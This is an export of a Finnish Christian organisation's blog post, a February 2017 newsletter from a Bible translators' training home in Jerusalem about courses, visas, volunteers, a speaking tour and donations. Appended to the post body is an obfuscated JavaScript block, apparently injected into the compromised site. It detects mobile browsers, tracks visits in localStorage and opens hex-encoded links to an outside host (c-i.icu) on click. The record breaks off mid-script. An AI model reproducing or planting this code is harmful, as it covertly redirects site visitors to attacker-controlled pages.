{"id":673,"date":"2017-02-02T08:33:35","date_gmt":"2017-02-02T06:33:35","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=673"},"modified":"2017-02-02T08:34:41","modified_gmt":"2017-02-02T06:34:41","slug":"673","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=673","title":{"rendered":"Yst\u00e4v\u00e4kirje 1.2.2017"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><span style=\"font-size: medium; color: #333399;\"><i>\u201dNiin p\u00e4ivien lopulla Herran temppelin vuori asetetaan ylimm\u00e4ksi vuorista, kukkuloista korkeammaksi, ja sinne virtaavat kaikki kansakunnat&#8230; sill\u00e4 Siionista l\u00e4htee opetus ja Jerusalemista Herran sana!&#8221;<br \/>\n<\/i>Jesaja 2: 2\u20133. (Profeetta Jesaja puhuu -k\u00e4\u00e4nn\u00f6s).<\/span><\/p>\n<p><span style=\"color: #333399;\"><strong>Konsultteja ja neuvonantajia<\/strong><\/span><br \/>\n<span style=\"color: #333399;\">Viime kuukausina t\u00e4nne Raamattukodille on virrannut monien kansojen edustajia. Joulukuussa espanjankielisell\u00e4 kurssilla oli mukana k\u00e4\u00e4nt\u00e4ji\u00e4 Meksikosta, Argentiinasta, Guyanasta, Kolumbiasta, Paraguaysta, Yhdysvalloista ja Espanjasta. Monet heist\u00e4 kuuluivat Etel\u00e4-Amerikan alkuper\u00e4isiin intiaanikansoihin. Tammikuun konsulttikurssilla (1.\u201314.1.) mukana oli 14 konsulttia Keniasta, Nigeriasta, Myanmarista, Iso-Britanniasta, Suomesta ja Yhdysvalloista, sek\u00e4 Wycliffen sisarj\u00e4rjest\u00f6n, Seed-j\u00e4rjest\u00f6n yhdeks\u00e4n neuvonantajaa Yhdysvalloista (15.\u201322.1.).\u00a0<\/span><\/p>\n<p><span style=\"color: #333399;\">Puolisollani\u00a0<strong>Halvorilla<\/strong>\u00a0sek\u00e4 toisella luennoitsijallamme\u00a0<strong>Brian Kvasnicalla<\/strong>\u00a0oli eritt\u00e4in kiireinen kuukausi heid\u00e4n opastaessaan ja opettaessaan vuorop\u00e4ivin n\u00e4ill\u00e4 molemmilla Raamatun maan erikoiskurssilla, jotka kattoivat koko maan. Kursseilla on laaja vaikutus, sill\u00e4 konsultit v\u00e4litt\u00e4v\u00e4t n\u00e4kem\u00e4ns\u00e4 ja kokemansa tiedon eteenp\u00e4in kymmeniin k\u00e4\u00e4nn\u00f6sprojekteihin, joista he ovat vastuussa. Ei tule my\u00f6sk\u00e4\u00e4n unohtaa miten opintomatkat Israelissa vaikuttavat heid\u00e4n itsens\u00e4 suhtautumiseen Israeliin. Useille Israelin kansan olemassaolo on suuri yll\u00e4tys. Jumala on ollut uskollinen kansalleen ja toteuttaa viel\u00e4kin sanansa heiss\u00e4.\u00a0<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"Konsultit Betlehemiss\u00e4\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/284\/image001.jpg\" alt=\"Konsultit Betlehemiss\u00e4\" width=\"709\" height=\"361\" align=\"left\" \/>Halvor ja kansainv\u00e4liset konsultit, joista osa toimii konsultteina ns. suljetuissa maissa, Syntym\u00e4kirkon l\u00e4hell\u00e4 Betlehemiss\u00e4.<\/p>\n<p><span style=\"color: #333399;\">Raamatussa mainittujen paikkojen sek\u00e4 maantieteellisesti ja arkeologisesti merkitt\u00e4vien asioiden n\u00e4keminen avaa ymm\u00e4rryst\u00e4 ja taitoa k\u00e4\u00e4nt\u00e4\u00e4 Raamatun sanoma mahdollisimman tarkasti ja ymm\u00e4rrett\u00e4v\u00e4sti omille kansoilleen. Professori\u00a0<strong>Yochanan Aharonin<\/strong>\u00a0mukaan Israelissa ja sen l\u00e4himaissa on virallisesti paikallistettu 262 Raamatussa mainittua paikkaa. Yli 50 Raamatussa mainittua nime\u00e4 on l\u00f6ydetty my\u00f6s Raamatun ulkopuolella olevista l\u00e4hteist\u00e4, mm. kirjurien nimi\u00e4. Raamattu kertoo siis todellisista tapahtumista, jotka tapahtuivat t\u00e4ss\u00e4 pieness\u00e4 Jumalan valitsemassa maassa, Israelissa.\u00a0<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"Konsultit kirjurin luona\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/284\/image002.jpg\" alt=\"Konsultit kirjurin luona\" width=\"709\" height=\"456\" align=\"left\" \/><br \/>\nKonsultit tutustuivat raamatulliseen kirjuriin. Kirjurit kopioivat tekstin tarkasti vuosisadasta toiseen is\u00e4lt\u00e4 pojalle kulkeneen taidon kautta. N\u00e4in kopioitiin mm. Kuolleenmeren k\u00e4\u00e4r\u00f6t.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"Seed-j\u00e4rjest\u00f6n neuvonantajat aterialla\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/284\/img_0882%20(1).jpg\" alt=\"SEED-j\u00e4rjest\u00f6n neuvonantajat aterialla\" width=\"567\" height=\"559\" \/><br \/>\nSEED-j\u00e4rjest\u00f6n neuvonantajat aterialla Brianin ja Halvorin kanssa Hirsikodilla.<\/p>\n<p><span style=\"color: #333399;\"><strong>Enn\u00e4tysm\u00e4\u00e4r\u00e4 opiskelijoita kev\u00e4tkurssilla<\/strong><\/span><br \/>\n<span style=\"color: #333399;\">Sunnuntaina 22.1. Raamattukodilla oli tohinaa. Samana p\u00e4iv\u00e4n\u00e4, kun Seed-j\u00e4rjest\u00f6n neuvonantajat palasivat ty\u00f6kohteisiinsa Kauko-it\u00e4\u00e4n ja muualle, vastaanotimme vuoden 2017 kev\u00e4tkurssin oppilaat. T\u00e4ll\u00e4 kurssilla on per\u00e4ti 13 raamatunk\u00e4\u00e4nt\u00e4j\u00e4\u00e4, jotka ovat Intiasta, Etiopiasta, Nigeriasta ja Guinea-Bissausta, sek\u00e4 kolme Tansaniassa ja Kamerunissa toimivaa l\u00e4nsimaista konsulttia. N\u00e4m\u00e4 kolme asuvat vuokratiloissa Hirsikodin ulkopuolella. Hirsikoti alkaa olla pieni. Ty\u00f6n laajentuessa suurempi asuntola olisi tarpeellinen.\u00a0<\/span><\/p>\n<p><span style=\"color: #333399;\">Suuri kiitosaihe on se, ett\u00e4 t\u00e4m\u00e4n kev\u00e4tkurssin oppilaat saivat viisuminsa ilman taisteluja \u2013 ensimm\u00e4ist\u00e4 kertaa koskaan! Tosin viime metreill\u00e4 oli j\u00e4nnityst\u00e4. Nimitt\u00e4in Israelin Intian suurl\u00e4hetyst\u00f6 kielt\u00e4ytyi hyv\u00e4ksym\u00e4st\u00e4 Israelin sis\u00e4ministeri\u00f6n my\u00f6nt\u00e4m\u00e4t opiskelijaviisumit opiskelijoiden passeihin(!). Kuuntelin er\u00e4\u00e4n aamuy\u00f6n tunteina, johtuen Intian ja Israelin aikaerosta, kun Halvor soitti Israelin Intian suurl\u00e4hetyst\u00f6\u00f6n. H\u00e4n selitti parhaimmalla vakuuttavalla \u00e4\u00e4nell\u00e4\u00e4n, ett\u00e4 h\u00e4n edustaa Heprealaisen yliopiston kurssia ja vaatii saada tiet\u00e4\u00e4 kuinka suurl\u00e4hetyst\u00f6n virkamiehet voivat tehd\u00e4 tyhj\u00e4ksi sis\u00e4ministeri\u00f6n p\u00e4\u00e4t\u00f6ksen. Kiitos Herralle, tuon puhelun tulos oli se, ett\u00e4 viisumit annettiin k\u00e4\u00e4nt\u00e4jien passeihin mukisematta. T\u00e4ss\u00e4 ty\u00f6ss\u00e4 oppii rukoilemaan joka hetki!\u00a0\u00a0<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" title=\"Oppilaat ja vapaaehtoiset sapattiaterialla\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/284\/2017%20students%201st%20erev%20shabbat.jpg\" alt=\"Oppilaat ja vapaaehtoiset sapattiaterialla\" width=\"709\" height=\"339\" \/><br \/>\nKev\u00e4tkurssin ensimm\u00e4inen sapattiateria, mukana oppilaat ja vapaaehtoiset. Halvor siunaa aterian.<\/p>\n<p><span style=\"color: #333399;\">Kev\u00e4tkurssin opiskelijat ovat hyvin edistyneit\u00e4 raamatunk\u00e4\u00e4nt\u00e4ji\u00e4 ja osa jo konsulttejakin. Heid\u00e4n opinto-ohjelmansa, jota johdan, on haasteellisempi kuin aikaisemmin. Ohjelmassa opitaan sek\u00e4 kertomustekstien ett\u00e4 profeettojen ja psalmien hepreaa. Ensimm\u00e4ist\u00e4 opettaa Heprealaisen yliopiston luennoitsija ja j\u00e4lkimm\u00e4ist\u00e4 vieraileva kansainv\u00e4linen luennoitsija. Pyrkimyksen\u00e4 on kouluttaa p\u00e4tevi\u00e4 Vanhan testamentin k\u00e4\u00e4nt\u00e4ji\u00e4. On hyv\u00e4 muistaa, ett\u00e4 Raamattukodin ty\u00f6n\u00e4ky on se, ett\u00e4 k\u00e4\u00e4nn\u00f6s tehd\u00e4\u00e4n alkutekstist\u00e4. Valitettavasti valtaosa kansojen k\u00e4\u00e4nn\u00f6ksist\u00e4 tehd\u00e4\u00e4n toisista kielist\u00e4 ja n\u00e4kem\u00e4tt\u00e4 Raamatun maata.\u00a0<\/span><\/p>\n<p><span style=\"color: #333399;\">Osalla kurssin oppilaista on l\u00e4hett\u00e4v\u00e4n raamattuyhdistyksen taloudellinen tuki, joillakin kansallisilla k\u00e4\u00e4nt\u00e4jille osittainen rahoitus, ja muutamat heist\u00e4 ovat kokonaan Raamattukodin varassa. Kaikesta huolimatta vastaanotamme kaikki opiskelijat, jotka l\u00e4p\u00e4isev\u00e4t p\u00e4\u00e4syvaatimukset! Onhan suuri etuoikeus vaikuttaa kokonaisen kansan raamatunk\u00e4\u00e4nn\u00f6kseen.<\/span><\/p>\n<p><span style=\"color: #333399;\">Kaiken edell\u00e4 mainitun voimme tehd\u00e4 vain Herran armon varassa. My\u00f6sk\u00e4\u00e4n ilman suomalaisia vapaaehtoisia emme p\u00e4rj\u00e4isi. T\u00e4ll\u00e4kin hetkell\u00e4 Raamattukodilla palvelevat\u00a0<strong>Pirkko Musakka<\/strong>,\u00a0<strong>Saara<\/strong>\u00a0ja\u00a0<strong>Petri Kumpunen<\/strong>\u00a0sek\u00e4\u00a0<strong>Anneli<\/strong>\u00a0ja\u00a0<strong>Lasse R\u00e4nn\u00e4li<\/strong>. Heid\u00e4n lis\u00e4kseen on ollut my\u00f6s lyhytaikaisia apulaisia.<\/span><\/p>\n<p><span style=\"color: #333399;\"><strong>Muita haasteita<\/strong><\/span><br \/>\n<span style=\"color: #333399;\">T\u00e4lle kev\u00e4\u00e4lle on tulossa my\u00f6s muita merkitt\u00e4vi\u00e4 haasteita. Sellainen on mm. 5.\u201318.2. j\u00e4rjestett\u00e4v\u00e4 erikoiskurssi, joka on ensimm\u00e4inen Yhdistyneitten Raamattuseurojen (UBS) tilaama kurssi uuden sopimuksen puitteissa. Kurssille osallistuu 34 konsulttia englantia puhuvista Afrikan maista. He asuvat kurssin ajan Jad Hashmonan hotellissa. Kurssi on eritt\u00e4in intensiivinen ja sit\u00e4 johtaa entinen oppilaamme, Suomessakin vieraillut, tohtori\u00a0<strong>Samy Tioye<\/strong>. H\u00e4n on nyky\u00e4\u00e4n englantia puhuvien Afrikan maiden UBS-k\u00e4\u00e4nn\u00f6sty\u00f6n neuvonantaja Afrikassa. Pyyd\u00e4mme esirukousta t\u00e4lle kurssille ja sen vet\u00e4jille, Halvorille ja Brianille.\u00a0<\/span><\/p>\n<p><span style=\"color: #333399;\"><strong>Jerusalemista maailman \u00e4\u00e4riin<\/strong><\/span><br \/>\n<span style=\"color: #333399;\">Tulen puhujakiertueille Suomeen helmi- ja maaliskuussa. Tervetuloa kuulemaan kuulumisia Raamattukodilta jo lauantaina 11.2. Varpaisj\u00e4rvelle sek\u00e4 sunnuntaina 12.2. Paltamoon. Maaliskuun kiertueella kanssani on t\u0161adilainen raamatunk\u00e4\u00e4nt\u00e4j\u00e4, pastori\u00a0<strong>Jesaja Ligring<\/strong>, josta on kerrottu Jerusalemista maailman \u00e4\u00e4riin -kirjan sivulla 98. Kiertueohjelmat l\u00f6yd\u00e4t kirjeen lopusta.\u00a0<\/span><\/p>\n<p><strong>Rukousaiheita<\/strong><\/p>\n<ul>\n<li><span style=\"color: #333399;\">T\u0161adilaisen k\u00e4\u00e4nt\u00e4j\u00e4n Jesaja Lingringin vierailuviisumi Suomeen. Siin\u00e4 on ilmennyt vaikeuksia.\u00a0<\/span><\/li>\n<li><span style=\"color: #333399;\">Voimia kev\u00e4\u00e4n tiiviiseen ohjelmaan henkil\u00f6kunnalle ja vapaaehtoisille.<\/span><\/li>\n<li><span style=\"color: #333399;\">Yhdistyneitten Raamattuseurojen (UBS) erikoiskurssi helmikuussa.<br \/>\n<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #333399;\"><span style=\"font-size: medium;\">Yst\u00e4v\u00e4t, suuret kiitokset esirukouksistanne ja tuestanne Raamattukodille! Ne kantavat ja rohkaisevat!<\/span><\/span><\/p>\n<p><span style=\"color: #333399;\"><i>Herran armon varassa!<\/i><\/span><\/p>\n<p><span style=\"color: #333399;\"><i><strong>Mirja<\/strong><\/i><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #333399;\"><span style=\"font-size: medium;\"><br \/>\n<span style=\"color: #000000;\"><strong><i>Jerusalemista maailman \u00e4\u00e4riin -kiertueet\u00a0<\/i><\/strong><\/span><\/span><\/span><\/p>\n<p><strong>Mirja Ronning ja Maarit Kattilakoski vieraina:<\/strong><br \/>\n<strong>La 11.2. Varpaisj\u00e4rvell\u00e4 helluntaisrk:n rukoushuoneella<\/strong>, Varpaisj\u00e4rventie 24<br \/>\nklo 15.00 Raamattukodin kuulumisia<br \/>\nklo 17.00 Raamatun alkukielen helmi\u00e4<\/p>\n<p><strong>Su 12.2. Paltamon seurakuntakeskuksessa<\/strong>, Puolangantie 14<br \/>\nklo 12.15 Mit\u00e4 tied\u00e4mme Raamattukodista?<br \/>\nklo 13.00 Opiskelu Raamatun maassa avartaa merkityksi\u00e4<br \/>\nklo 14.45 Jumalan puhetta Raamattukodissa<br \/>\nklo 15.30 Vuosien varrella tapahtunutta<br \/>\nklo 16.15 Rukous kantaa<\/p>\n<p><strong>Mirja Ronning Raamattukodilta ja raamatunk\u00e4\u00e4nt\u00e4j\u00e4, pastori Jesaja Ligring T\u0161adista vieraina:\u00a0<\/strong><br \/>\n<strong>Ti 14.3. klo 19.00 Sein\u00e4joen Vapaakirkko<\/strong>, Kauppakatu 13<br \/>\n<strong>Ke 15.3. klo 19.00 Jurvan helluntaiseurakunta<\/strong>, Hahdonkuja 4<br \/>\n<strong>To 16.3. klo 18.00 Parkanon Vapaakirkko<\/strong>, Satakunnankatu 32<br \/>\n<strong>La 18.3.<\/strong>\u00a0(odotetaan vastausta)<br \/>\n<strong>Su 19.3. klo 12.00 Lemp\u00e4\u00e4l\u00e4n helluntaiseurakunta<\/strong>, Rypyntie 8<br \/>\n<strong>Su 19.3. klo 18.00 Porin seurakuntakeskus<\/strong>, It\u00e4puisto 14<br \/>\n<strong>Ma 20.3. klo 18.00 Salon Halikon kirkko<\/strong>, Kirkkorinne 1<br \/>\n<strong>Ti 21.3.<\/strong>\u00a0(odotetaan vastausta)<br \/>\n<strong>Ke 22.3. klo 18.00 Lappeenrannan helluntaiseurakunta<\/strong>, Armilankatu 31<br \/>\n<strong>To 23.3. klo 18.00 Helsingin Alppilan kirkko<\/strong>, Kotkankatu 2<\/p>\n<p><span style=\"font-size: medium;\"><strong><u><br \/>\nTilaa Raamattukodin ty\u00f6n hyv\u00e4ksi:<br \/>\n<\/u><\/strong><\/span><span style=\"font-size: medium;\"><br \/>\n<strong><img loading=\"lazy\" decoding=\"async\" title=\"kirjan etukansi 150.jpg\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/284\/kirjan%20etukansi%20150.jpg\" alt=\"kirjan etukansi 150.jpg\" width=\"150\" height=\"231\" align=\"left\" \/><img loading=\"lazy\" decoding=\"async\" title=\"profeetta jesaja puhuu.jpg\" src=\"http:\/\/mail.bibletranslators.org\/admin\/temp\/newsletters\/284\/profeetta%20jesaja%20puhuu.jpg\" alt=\"profeetta jesaja puhuu.jpg\" width=\"150\" height=\"207\" align=\"right\" \/>Jerusalemista maailman \u00e4\u00e4riin &#8211; Raamattukodin ihme -kirja<\/strong>,<br \/>\n30 \u20ac + postituskulut<br \/>\n<strong><br \/>\nProfeetta Jesaja puhuu -kirja<\/strong>,<br \/>\n30 \u20ac + postituskulut<\/span><\/p>\n<p><strong>Tilaukset<\/strong>: mkattilakoski\u00a0(at)\u00a0gmail.com tai<br \/>\npuh. 044 265 4739<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\"><strong>Yhteystiedot:<\/strong><\/span><\/p>\n<blockquote><p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Raamattukodin toimisto ja Mevasseretin koti:<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">+972 2 579 0201, fax +972 2 533 3793<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Hirsikoti Jad Hashmonassa: +972 2 533 4399<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Mirja Ronning: +972 544 22 1995, Suomessa 044 976 3702<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Halvor Ronning: +972 544 22 1994<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">https:\/\/fin.bibletranslators.org\/<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Facebook: Home for Bible Translators<\/span><\/p><\/blockquote>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\"><strong>Lahjoitukset Suomessa:<\/strong><\/span><\/p>\n<blockquote><p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">IBAN: FI68 5228 0350 0144 65<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">BIC: OKO YFIHH<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Viite: 4019 Heimokielisten raamatunk\u00e4\u00e4nt\u00e4jien koulutus Israelissa<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Viite: 5018 Hirsikodin viimeistely ja yll\u00e4pito<br \/>\n<\/span><\/p><\/blockquote>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\"><span style=\"font-family: verdana, geneva;\">(Rahanker\u00e4yslupa: Poliisihallitus no POL-2015-12476, voimassa 1.2.2016 &#8211; 31.12.2020, koko Suomen alue, Ahvenanmaata lukuun ottamatta. Home for Bible Translators in Jerusalem, Raamattukoti; Raamatun k\u00e4\u00e4nt\u00e4mis- ja koulutusty\u00f6h\u00f6n ker\u00e4ysluvan voimassaoloaikana \/ Lemp\u00e4\u00e4l\u00e4n helluntaiseurakuntayhdistys ry, Israel-kassa.)<\/span><\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\"><strong>Ruotsissa:<\/strong><\/span><\/p>\n<blockquote><p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Israels V\u00e4nner, Bor\u00e5s<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: small;\">Tilinumero: 5007-8716<\/span><\/p>\n<p><span style=\"color: #333399; font-family: verdana, geneva; font-size: medium;\"><span style=\"font-size: small;\">Viite: Raamattukoti<\/span><br \/>\n<\/span><\/p><\/blockquote>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return 